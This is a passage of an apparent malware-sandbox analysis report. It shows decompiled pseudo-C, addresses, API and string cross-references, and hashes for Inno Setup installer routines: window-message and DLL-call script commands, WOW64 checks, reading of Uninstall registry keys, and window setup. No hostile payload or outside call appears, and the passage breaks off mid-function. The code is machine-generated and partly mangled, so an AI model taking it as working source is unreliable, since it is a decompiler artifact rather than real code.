															E004037CC( *((intOrPtr*)(__edx + 0x10)), "CALLDLLPROC");
															if(__eflags != 0) {
																E004037CC( *((intOrPtr*)(__edx + 0x10)), "FREEDLL");
																if(__eflags != 0) {
																	E004037CC( *((intOrPtr*)(__edx + 0x10)), "CREATEMUTEX");
																	if(__eflags != 0) {
																		E004037CC( *((intOrPtr*)(__edx + 0x10)), "OEMTOCHARBUFF");
																		if(__eflags != 0) {
																			E004037CC( *((intOrPtr*)(__edx + 0x10)), "CHARTOOEMBUFF");
																			if(__eflags != 0) {
																				_v5 = 0;
																			} else {
																				E004470C8(_t218,  &_v12, _t371, __edx);
																				_t81 = E004036BC(_v12);
																				CharToOemBuffA(E00403880(_v12), _t83, _t81);
																				E0044741C(_t218, _v12, _t371, _t373);
																			}
																		} else {
																			E004470C8(_t218,  &_v12, _t371, __edx);
																			_t90 = E004036BC(_v12);
																			OemToCharBuffA(E00403880(_v12), _t92, _t90);
																			E0044741C(_t218, _v12, _t371, _t373);
																		}
																	} else {
																		E004470C8(_t218,  &_v16, _t371, __edx);
																		CreateMutexA(0, 0, E00403880(_v16));
																	}
																} else {
																	_t103 = FreeLibrary(E0044706C(_t218, _t219, _t371 - 1, __fp0));
																	asm("sbb ecx, ecx");
																	E004471A0(_t218,  ~( ~_t103), _t371, _t373, __fp0);
																}
															} else {
																E004470C8(_t218,  &_v16, _t371 - 2, __edx);
																_push(E00403880(_v16));
																_t111 = E0044706C(_t218,  &_v16, _t371 - 1, __fp0);
																_push(_t111);
																L00405A9C();
																_t367 = _t111;
																__eflags = _t367;
																if(_t367 == 0) {
																	E004471A0(_t218, 0, _t371, _t373, __fp0);
																} else {
																	E00447348(_t218,  *_t367(E0044706C(_t218,  &_v16, _t371 - 3, __fp0), E0044706C(_t218,  &_v16, _t371 - 4, __fp0)), _t371 - 5, _t373, __fp0);
																	E004471A0(_t218, 1, _t371, _t373, __fp0);
																}
															}
														} else {
															E004470C8(_t218,  &_v16, _t371 - 1, __edx);
															_t368 = E0042E250(_v16, _t218, 0x8000);
															__eflags = _t368;
															if(_t368 == 0) {
																_t127 = GetLastError();
																__eflags = _t371 - 2;
																E00447348(_t218, _t127, _t371 - 2, _t373, __fp0);
															} else {
																E00447348(_t218, 0, _t371 - 2, _t373, __fp0);
															}
															E00447348(_t218, _t368, _t371, _t373, _t377);
														}
													} else {
														_t135 = E0044706C(_t218, _t219, _t371 - 3, __fp0);
														_t137 = E0044706C(_t218, _t219, _t371 - 2, __fp0);
														_t140 = SendNotifyMessageA(0xffff, E0044706C(_t218, _t219, _t371 - 1, __fp0), _t137, _t135);
														asm("sbb ecx, ecx");
														E004471A0(_t218,  ~( ~_t140), _t371, _t373, __fp0);
													}
												} else {
													_t144 = E0044706C(_t218, _t219, _t371 - 3, __fp0);
													_t146 = E0044706C(_t218, _t219, _t371 - 2, __fp0);
													_t149 = PostMessageA(0xffff, E0044706C(_t218, _t219, _t371 - 1, __fp0), _t146, _t144);
													asm("sbb ecx, ecx");
													E004471A0(_t218,  ~( ~_t149), _t371, _t373, __fp0);
												}
											} else {
												_t153 = E0044706C(_t218, _t219, _t371 - 3, __fp0);
												_t155 = E0044706C(_t218, _t219, _t371 - 2, __fp0);
												E00447348(_t218, SendMessageA(0xffff, E0044706C(_t218, _t219, _t371 - 1, __fp0), _t155, _t153), _t371, _t373, __fp0);
											}
										} else {
											E004470C8(_t218,  &_v16, _t371 - 1, __edx);
											E00447348(_t218, RegisterClipboardFormatA(E00403880(_v16)), _t371, _t373, __fp0);
										}
									} else {
										_t169 = E0044706C(_t218, _t219, _t371 - 4, __fp0);
										_t171 = E0044706C(_t218, _t219, _t371 - 3, __fp0);
										_t173 = E0044706C(_t218, _t219, _t371 - 2, __fp0);
										_t176 = SendNotifyMessageA(E0044706C(_t218, _t219, _t371 - 1, __fp0), _t173, _t171, _t169);
										asm("sbb ecx, ecx");
										E004471A0(_t218,  ~( ~_t176), _t371, _t373, __fp0);
									}
								} else {
									_t180 = E0044706C(_t218, _t219, _t371 - 4, __fp0);
									_t182 = E0044706C(_t218, _t219, _t371 - 3, __fp0);
									_t184 = E0044706C(_t218, _t219, _t371 - 2, __fp0);
									_t187 = PostMessageA(E0044706C(_t218, _t219, _t371 - 1, __fp0), _t184, _t182, _t180);
									asm("sbb ecx, ecx");
									E004471A0(_t218,  ~( ~_t187), _t371, _t373, __fp0);
								}
							} else {
								_t191 = E0044706C(_t218, _t219, _t371 - 4, __fp0);
								_t193 = E0044706C(_t218, _t219, _t371 - 3, __fp0);
								_t195 = E0044706C(_t218, _t219, _t371 - 2, __fp0);
								E00447348(_t218, SendMessageA(E0044706C(_t218, _t219, _t371 - 1, __fp0), _t195, _t193, _t191), _t371, _t373, __fp0);
							}
						} else {
							E004470C8(_t218,  &_v16, _t371 - 1, __edx);
							_t205 = FindWindowA(0, E00403880(_v16)); // executed
							E00447348(_t218, _t205, _t371, _t373, __fp0);
						}
					} else {
						E004470C8(_t218,  &_v16, _t371 - 1, __edx);
						E00447348(_t218, FindWindowA(E00403880(_v16), 0), _t371, _t373, __fp0);
					}
				} else {
					Sleep(E0044706C(_t218, _t219, _t371, __fp0));
				}
				_pop(_t275);
				 *[fs:eax] = _t275;
				_push(0x485bf4);
				return E00403568( &_v16, 2);
			}

0x004856f8
0x004856f8
0x004856f9
0x004856fb
0x004856fd
0x004856ff
0x00485701
0x00485706
0x0048570b
0x0048570c
0x00485711
0x00485714
0x0048571a
0x0048571b
0x00485727
0x0048572c
0x0048574a
0x0048574f
0x00485786
0x0048578b
0x004857c2
0x004857c7
0x00485818
0x0048581d
0x00485874
0x00485879
0x004858d0
0x004858d5
0x0048590a
0x0048590f
0x00485958
0x0048595d
0x004859ac
0x004859b1
0x00485a00
0x00485a05
0x00485a62
0x00485a67
0x00485ae9
0x00485aee
0x00485b1e
0x00485b23
0x00485b50
0x00485b55
0x00485b93
0x00485b98
0x00485bce
0x00485b9a
0x00485ba1
0x00485ba9
0x00485bbb
0x00485bc7
0x00485bc7
0x00485b57
0x00485b5e
0x00485b66
0x00485b78
0x00485b84
0x00485b84
0x00485b25
0x00485b2c
0x00485b3e
0x00485b3e
0x00485af0
0x00485afb
0x00485b04
0x00485b0c
0x00485b0c
0x00485a69
0x00485a73
0x00485a80
0x00485a86
0x00485a8b
0x00485a8c
0x00485a91
0x00485a93
0x00485a95
0x00485ad7
0x00485a97
0x00485abc
0x00485ac7
0x00485ac7
0x00485a95
0x00485a07
0x00485a0f
0x00485a21
0x00485a23
0x00485a25
0x00485a37
0x00485a40
0x00485a45
0x00485a27
0x00485a30
0x00485a30
0x00485a50
0x00485a50
0x004859b3
0x004859ba
0x004859c7
0x004859dd
0x004859e6
0x004859ee
0x004859ee
0x0048595f
0x00485966
0x00485973
0x00485989
0x00485992
0x0048599a
0x0048599a
0x00485911
0x00485918
0x00485925
0x00485946
0x00485946
0x004858d7
0x004858df
0x004858f8
0x004858f8
0x0048587b
0x00485882
0x0048588f
0x0048589c
0x004858ad
0x004858b6
0x004858be
0x004858be
0x0048581f
0x00485826
0x00485833
0x00485840
0x00485851
0x0048585a
0x00485862
0x00485862
0x004857c9
0x004857d0
0x004857dd
0x004857ea
0x00485806
0x00485806
0x0048578d
0x00485795
0x004857a5
0x004857b0
0x004857b0
0x00485751
0x0048575b
0x00485774
0x00485774
0x0048572e
0x00485738
0x00485738
0x00485bd4
0x00485bd7
0x00485bda
0x00485bec

APIs

Sleep.KERNEL32(00000000,00000000,00485BED,?,?,?,?,00000000,00000000,00000000), ref: 00485738
FindWindowA.USER32 ref: 00485769

Strings

SENDNOTIFYMESSAGE, xrefs: 0048586F
CREATEMUTEX, xrefs: 00485B19
SENDBROADCASTMESSAGE, xrefs: 00485905
FINDWINDOWBYCLASSNAME, xrefs: 00485745
CHARTOOEMBUFF, xrefs: 00485B8E
FREEDLL, xrefs: 00485AE4
POSTBROADCASTMESSAGE, xrefs: 00485953
SENDMESSAGE, xrefs: 004857BD
SENDBROADCASTNOTIFYMESSAGE, xrefs: 004859A7
OEMTOCHARBUFF, xrefs: 00485B4B
FINDWINDOWBYWINDOWNAME, xrefs: 00485781
SLEEP, xrefs: 00485722
CALLDLLPROC, xrefs: 00485A5D
REGISTERWINDOWMESSAGE, xrefs: 004858CB
POSTMESSAGE, xrefs: 00485813
LOADDLL, xrefs: 004859FB

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: FindSleepWindow
String ID: CALLDLLPROC$CHARTOOEMBUFF$CREATEMUTEX$FINDWINDOWBYCLASSNAME$FINDWINDOWBYWINDOWNAME$FREEDLL$LOADDLL$OEMTOCHARBUFF$POSTBROADCASTMESSAGE$POSTMESSAGE$REGISTERWINDOWMESSAGE$SENDBROADCASTMESSAGE$SENDBROADCASTNOTIFYMESSAGE$SENDMESSAGE$SENDNOTIFYMESSAGE$SLEEP
API String ID: 3078808852-3310373309
Opcode ID: b0d83c5f4f246e28fde156a24e4f593d585ea0306af189fb0f6bbbb9363b135c
Instruction ID: a477a937e49ace85969f4353279384d416924bf77b43f5789cabccee374076e0
Opcode Fuzzy Hash: b0d83c5f4f246e28fde156a24e4f593d585ea0306af189fb0f6bbbb9363b135c
Instruction Fuzzy Hash: B9C140A0B086015BDB14BF7E8C8691F55999F88704720D93FB446EB78BCE3CED0A4359

Uniqueness

Uniqueness Score: -1.00%

Function 00478258 Relevance: 26.3, APIs: 9, Strings: 6, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00478258() {
				struct _SYSTEM_INFO _v52;
				struct HINSTANCE__* _t4;
				void* _t7;
				void* _t8;
				void* _t9;
				intOrPtr* _t10;
				void* _t13;
				struct HINSTANCE__* _t14;
				struct HINSTANCE__* _t15;
				intOrPtr* _t17;
				intOrPtr* _t18;

				 *0x4ae248 = 0;
				_t4 = GetModuleHandleA("kernel32.dll");
				_t15 = _t4;
				_push("GetNativeSystemInfo");
				_push(_t15);
				L00405A9C();
				if(_t4 == 0) {
					GetSystemInfo( &_v52);
				} else {
					_t10 = _t4->i( &_v52); // executed
					_push("IsWow64Process");
					_push(_t15);
					L00405A9C();
					_t17 = _t10;
					if(_t17 != 0) {
						_push(_t18);
						_push(GetCurrentProcess());
						if( *_t17() != 0 &&  *_t18 != 0) {
							_t13 = E004512D0();
							if(_t13 != 0) {
								_push("GetSystemWow64DirectoryA");
								_push(_t15);
								L00405A9C();
								if(_t13 != 0) {
									_push("RegDeleteKeyExA");
									_t14 = GetModuleHandleA("advapi32.dll");
									_push(_t14);
									L00405A9C();
									if(_t14 != 0) {
										 *0x4ae248 = 1;
									}
								}
							}
						}
					}
				}
				_t7 = _v52.dwOemId - 1;
				if(_t7 < 0) {
					 *0x48cb14 = 1;
					return _t7;
				}
				_t8 = _t7 - 5;
				if(_t8 == 0) {
					 *0x48cb14 = 3;
					return _t8;
				}
				_t9 = _t8 - 3;
				if(_t9 != 0) {
					 *0x48cb14 = 0;
					return _t9;
				}
				 *0x48cb14 = 2;
				return _t9;
			}

0x0047825d
0x00478269
0x0047826e
0x00478270
0x00478275
0x00478276
0x0047827d
0x004782e9
0x0047827f
0x00478284
0x00478286
0x0047828b
0x0047828c
0x00478291
0x00478295
0x00478297
0x0047829d
0x004782a2
0x004782aa
0x004782b1
0x004782b3
0x004782b8
0x004782b9
0x004782c0
0x004782c2
0x004782cc
0x004782d1
0x004782d2
0x004782d9
0x004782db
0x004782db
0x004782d9
0x004782c0
0x004782b1
0x004782a2
0x00478295
0x004782f3
0x004782f7
0x00478307
0x00000000
0x00478307
0x004782f9
0x004782fd
0x00478310
0x00000000
0x00478310
0x004782ff
0x00478303
0x00478322
0x00000000
0x00478322
0x00478319
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00478269
6C8D5550.KERNEL32(00000000,GetNativeSystemInfo,kernel32.dll), ref: 00478276
GetNativeSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 00478284
6C8D5550.KERNEL32(00000000,IsWow64Process), ref: 0047828C
GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 00478298
6C8D5550.KERNEL32(00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 004782B9
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 004782CC
6C8D5550.KERNEL32(00000000,advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 004782D2
GetSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 004782E9

Strings

advapi32.dll, xrefs: 004782C7
GetNativeSystemInfo, xrefs: 00478270
GetSystemWow64DirectoryA, xrefs: 004782B3
kernel32.dll, xrefs: 00478264
IsWow64Process, xrefs: 00478286
RegDeleteKeyExA, xrefs: 004782C2

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550$HandleInfoModuleSystem$CurrentNativeProcess
String ID: GetNativeSystemInfo$GetSystemWow64DirectoryA$IsWow64Process$RegDeleteKeyExA$advapi32.dll$kernel32.dll
API String ID: 3480996200-2623177817
Opcode ID: 7b47165dbd981a408bc2786a271a0a7f06fd2e08640aa44ab4db1ba7637f98b1
Instruction ID: 46d5fe1d6d5815e07bab5a4b40e1e10a51b1c8387462ed9a08c7b8fdd4530e95
Opcode Fuzzy Hash: 7b47165dbd981a408bc2786a271a0a7f06fd2e08640aa44ab4db1ba7637f98b1
Instruction Fuzzy Hash: 5611D334284F41A5D61063BA5D9EBEF17488B01B59F18896F7C48A52D3DD7EC8408B7F

Uniqueness

Uniqueness Score: -1.00%

Function 00462BE8 Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 155
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00462BE8(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char* _v40;
				intOrPtr _t62;
				void* _t76;
				intOrPtr _t77;
				void* _t78;
				void* _t90;
				void* _t92;
				void* _t100;
				void* _t102;
				intOrPtr* _t114;
				intOrPtr _t134;
				intOrPtr _t139;
				void* _t156;
				void* _t158;
				void* _t160;
				void* _t161;
				intOrPtr _t162;

				_t160 = _t161;
				_t162 = _t161 + 0xffffffdc;
				_v24 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				_t158 = __eax;
				_push(_t160);
				_push(0x462e1d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t162;
				_t62 =  *0x4ae06c; // 0x2174a60
				E00471AF8(_t62, __ecx,  &_v16);
				if(_v16 == 0) {
					L22:
					__eflags = 0;
					_pop(_t134);
					 *[fs:eax] = _t134;
					_push(E00462E24);
					return E00403568( &_v24, 4);
				} else {
					E0046EEF4(_v16, __ecx,  &_v20);
					_t156 = 2;
					_t114 = 0x48ca84;
					while(1) {
						_v40 = "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall";
						_v36 = 0xb;
						_v32 = _v20;
						_v28 = 0xb;
						E00407988("%s\\%s_is1", 1,  &_v40,  &_v24);
						_t76 = E00403880(_v24);
						_t77 =  *0x48cb10; // 0x1, executed
						_t78 = E0042DCB4(_t77, _t76,  *_t114,  &_v8, 1, 0); // executed
						if(_t78 == 0) {
							_push(_t160);
							_push(0x462df1);
							_push( *[fs:eax]);
							 *[fs:eax] = _t162;
							if(( *0x4ae17e & 0x00000004) != 0) {
								E0042DBE4();
							}
							break;
						}
						_t114 = _t114 + 4;
						_t156 = _t156 - 1;
						__eflags = _t156;
						if(_t156 != 0) {
							continue;
						} else {
							goto L22;
						}
						goto L23;
					}
					if(( *0x4ae17e & 0x00000010) != 0) {
						E0042DBE4();
						if(E0042DBFC(_v8, "Inno Setup: No Icons") != 0) {
							 *((char*)(_t158 + 0x318)) = 1;
						}
					}
					if(( *0x4ae17e & 0x00000040) != 0) {
						E0042DBE4();
						_t100 = E0042DBE4();
						_t170 = _t100;
						if(_t100 != 0) {
							E0040C504( *((intOrPtr*)(_t158 + 0x31c)), _t114, _v12, _t156, _t158, _t170);
						}
						_t102 = E0042DBE4();
						_t171 = _t102;
						if(_t102 != 0) {
							E0040C504( *((intOrPtr*)(_t158 + 0x320)), _t114, _v12, _t156, _t158, _t171);
						}
					}
					if(( *0x4ae17f & 0x00000008) != 0) {
						_t90 = E0042DBE4();
						_t173 = _t90;
						if(_t90 != 0) {
							E0040C504( *((intOrPtr*)(_t158 + 0x324)), _t114, _v12, _t156, _t158, _t173);
						}
						_t92 = E0042DBE4();
						_t174 = _t92;
						if(_t92 != 0) {
							E0040C504( *((intOrPtr*)(_t158 + 0x328)), _t114, _v12, _t156, _t158, _t174);
						}
					}
					if(( *0x4ae180 & 0x00000002) != 0) {
						E0042DBE4();
						E0042DBE4();
						E0042DBE4();
					}
					_pop(_t139);
					 *[fs:eax] = _t139;
					_push(E00462E02);
					return RegCloseKey(_v8);
				}
				L23:
			}

0x00462be9
0x00462beb
0x00462bf3
0x00462bf6
0x00462bf9
0x00462bfc
0x00462bff
0x00462c03
0x00462c04
0x00462c09
0x00462c0c
0x00462c12
0x00462c17
0x00462c20
0x00462e02
0x00462e02
0x00462e04
0x00462e07
0x00462e0a
0x00462e1c
0x00462c26
0x00462c2c
0x00462c31
0x00462c36
0x00462c3b
0x00462c4c
0x00462c4f
0x00462c56
0x00462c59
0x00462c6a
0x00462c72
0x00462c7b
0x00462c80
0x00462c87
0x00462c8f
0x00462c90
0x00462c95
0x00462c98
0x00462ca2
0x00462cb2
0x00462cb2
0x00000000
0x00462ca2
0x00462df8
0x00462dfb
0x00462dfb
0x00462dfc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00462dfc
0x00462cbe
0x00462cce
0x00462ce2
0x00462ce4
0x00462ce4
0x00462ce2
0x00462cf2
0x00462d02
0x00462d12
0x00462d17
0x00462d19
0x00462d24
0x00462d24
0x00462d34
0x00462d39
0x00462d3b
0x00462d46
0x00462d46
0x00462d3b
0x00462d52
0x00462d5f
0x00462d64
0x00462d66
0x00462d71
0x00462d71
0x00462d81
0x00462d86
0x00462d88
0x00462d93
0x00462d93
0x00462d88
0x00462d9f
0x00462daf
0x00462dc2
0x00462dd5
0x00462dd5
0x00462ddc
0x00462ddf
0x00462de2
0x00462df0
0x00462df0
0x00000000

APIs

Part of subcall function 0042DCB4: 6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

RegCloseKey.ADVAPI32(?,00462E02,?,?,00000001,00000000,00000000,00462E1D,?,00000000,00000000,?), ref: 00462DEB

Strings

Inno Setup: User Info: Name, xrefs: 00462DA7
Inno Setup: User Info: Organization, xrefs: 00462DBA
Inno Setup: Setup Type, xrefs: 00462CFA
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00462C47
Inno Setup: Selected Components, xrefs: 00462D0A
Inno Setup: User Info: Serial, xrefs: 00462DCD
Inno Setup: Deselected Tasks, xrefs: 00462D79
Inno Setup: No Icons, xrefs: 00462CD3
Inno Setup: Deselected Components, xrefs: 00462D2C
%s\%s_is1, xrefs: 00462C65
Inno Setup: Icon Group, xrefs: 00462CC6
Inno Setup: App Path, xrefs: 00462CAA
Inno Setup: Selected Tasks, xrefs: 00462D57

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseD6790
String ID: %s\%s_is1$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 3513276378-1093091907
Opcode ID: 17edf25954bddf7f48825c5b40fd28439f017680b5dc4ad28f048a29b95886a0
Instruction ID: 14966b6133968fffe3011c3084ea855d64415c2e69430a5297c16372ad3f805f
Opcode Fuzzy Hash: 17edf25954bddf7f48825c5b40fd28439f017680b5dc4ad28f048a29b95886a0
Instruction Fuzzy Hash: 9F51C730A00A14ABCB15DB65DA51BDEBBF4EF48304F90847BE850A7391E778AE05CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 0042393C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 98
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E0042393C(int __eax, void* __edi, void* __esi) {
				void* __ebx;
				int _t12;
				long _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				signed int _t17;
				signed int _t18;
				signed int _t20;
				struct HINSTANCE__* _t21;
				void* _t23;
				CHAR* _t24;
				struct HWND__* _t25;
				long _t38;
				struct HINSTANCE__* _t41;
				int _t45;
				struct HMENU__* _t46;
				struct _WNDCLASSA* _t54;
				short _t57;

				_t12 = __eax;
				_t45 = __eax;
				if( *((char*)(__eax + 0x7e)) != 0) {
					L12:
					return _t12;
				}
				_t13 = E0041F48C(E00423CD4, __eax); // executed
				 *(_t45 + 0x24) = _t13;
				_t14 =  *0x48c658; // 0x423744
				_t15 =  *0x48d014; // 0x400000
				if(GetClassInfoA(_t15, _t14, _t54) == 0) {
					_t41 =  *0x48d014; // 0x400000
					 *0x48c644 = _t41;
					_t57 = RegisterClassA( &E0048C634);
					if(_t57 == 0) {
						E00408D50(_t45, 0xf02c, 1, __edi, __esi);
						E00403264();
					}
				}
				_t17 = GetSystemMetrics(0); // executed
				_t18 = _t17 >> 1;
				if(_t57 < 0) {
					asm("adc eax, 0x0");
				}
				_push(_t18);
				_t20 = GetSystemMetrics(1) >> 1;
				if(_t57 < 0) {
					asm("adc eax, 0x0");
				}
				_push(_t20);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t21 =  *0x48d014; // 0x400000
				_push(_t21);
				_push(0);
				_t3 = _t45 + 0x6c; // 0x20040
				_t23 = E00403880( *_t3);
				_t24 =  *0x48c658; // 0x423744, executed
				_t25 = E004063F4(_t24, 0x94ca0000, _t23); // executed
				 *(_t45 + 0x20) = _t25;
				_t5 = _t45 + 0x6c; // 0x41eed8
				E00403548(_t5);
				 *((char*)(_t45 + 0x7e)) = 1;
				_t7 = _t45 + 0x20; // 0x410718
				E00423714( *_t7, 9, _t57);
				_t8 = _t45 + 0x24; // 0x423754
				_t9 = _t45 + 0x20; // 0x410718
				SetWindowLongA( *_t9, 0xfffffffc,  *_t8);
				if( *0x48d5c4 != 0) {
					_t38 = E00424240(_t45);
					_t10 = _t45 + 0x20; // 0x410718
					SendMessageA( *_t10, 0x80, 1, _t38); // executed
				}
				_t11 = _t45 + 0x20; // 0x410718
				_t46 = GetSystemMenu( *_t11, 0);
				DeleteMenu(_t46, 0xf030, 0);
				_t12 = DeleteMenu(_t46, 0xf000, 0);
				if( *0x48d5c4 == 0) {
					goto L12;
				} else {
					return DeleteMenu(_t46, 0xf010, 0);
				}
			}

0x0042393c
0x00423940
0x00423946
0x00423a73
0x00423a73
0x00423a73
0x00423952
0x00423957
0x0042395b
0x00423961
0x0042396e
0x00423970
0x00423975
0x00423984
0x00423987
0x00423995
0x0042399a
0x0042399a
0x00423987
0x004239a1
0x004239a6
0x004239a8
0x004239aa
0x004239aa
0x004239ad
0x004239b5
0x004239b7
0x004239b9
0x004239b9
0x004239bc
0x004239bd
0x004239bf
0x004239c1
0x004239c3
0x004239c5
0x004239ca
0x004239cb
0x004239cd
0x004239d0
0x004239dc
0x004239e1
0x004239e6
0x004239e9
0x004239ec
0x004239f1
0x004239fa
0x004239fd
0x00423a02
0x00423a08
0x00423a0c
0x00423a18
0x00423a1c
0x00423a29
0x00423a2d
0x00423a2d
0x00423a34
0x00423a3d
0x00423a47
0x00423a54
0x00423a60
0x00000000
0x00423a62
0x00000000
0x00423a6a

APIs

Part of subcall function 0041F48C: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EE6C,?,00423957,00423CD4,0041EE6C), ref: 0041F4AA

GetClassInfoA.USER32 ref: 00423967
RegisterClassA.USER32 ref: 0042397F
GetSystemMetrics.USER32 ref: 004239A1
GetSystemMetrics.USER32 ref: 004239B0
SetWindowLongA.USER32 ref: 00423A0C
SendMessageA.USER32 ref: 00423A2D
GetSystemMenu.USER32(00410718,00000000,00410718,000000FC,00423754,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00400000), ref: 00423A38
DeleteMenu.USER32(00000000,0000F030,00000000,00410718,00000000,00410718,000000FC,00423754,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00423A47
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,00410718,00000000,00410718,000000FC,00423754,00000000,00400000,00000000,00000000,00000000), ref: 00423A54
DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,00410718,00000000,00410718,000000FC,00423754,00000000,00400000), ref: 00423A6A

Strings

D7B, xrefs: 0042395B, 004239DC

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Menu$DeleteSystem$ClassMetrics$AllocInfoLongMessageRegisterSendVirtualWindow
String ID: D7B
API String ID: 183575631-2147974278
Opcode ID: 2a8e1888e4b6b9560ea8b686cbe2eec1ee698867986e389d75447a92090c7769
Instruction ID: 5219bf6c13a88e3142c9546b93115ce75b520d7afdd4625736ccdd501c9f07f0
Opcode Fuzzy Hash: 2a8e1888e4b6b9560ea8b686cbe2eec1ee698867986e389d75447a92090c7769
Instruction Fuzzy Hash: A03152B17412106AEB10BF69DC82F6A33989B04709F60057EBA41FF2D3D9BDE940876D

Uniqueness

Uniqueness Score: -1.00%

Function 00472410 Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00472410(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _t32;
				void* _t39;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t70;
				intOrPtr _t82;
				void* _t89;
				void* _t91;

				_t91 = __eflags;
				_t86 = __esi;
				_t85 = __edi;
				_t69 = __ebx;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v28 = 0;
				_v8 = 0;
				_push(_t89);
				_push(0x47254b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t89 + 0xffffffe0;
				_t32 =  *0x4ae018; // 0x218800c
				E0042C4C4(_t32,  &_v28);
				E00403708( &_v8, "_isetup\\_shfoldr.dll", _v28);
				E00472204("SHFOLDERDLL", __ebx, _v8, __edi, __esi, _t91); // executed
				_t39 = E004511C8( &_v24);
				_t92 = _t39;
				if(_t39 == 0) {
					E00451DE8("Failed to get version numbers of _shfoldr.dll", _t69, _t85, _t86, _t92);
				}
				if(E004511C8( &_v16) == 0 || _v16 <= _v24 && (_v16 != _v24 || _v12 <= _v20)) {
					if(_v16 == _v24 && _v12 == _v20) {
						goto L8;
					}
				} else {
					L8:
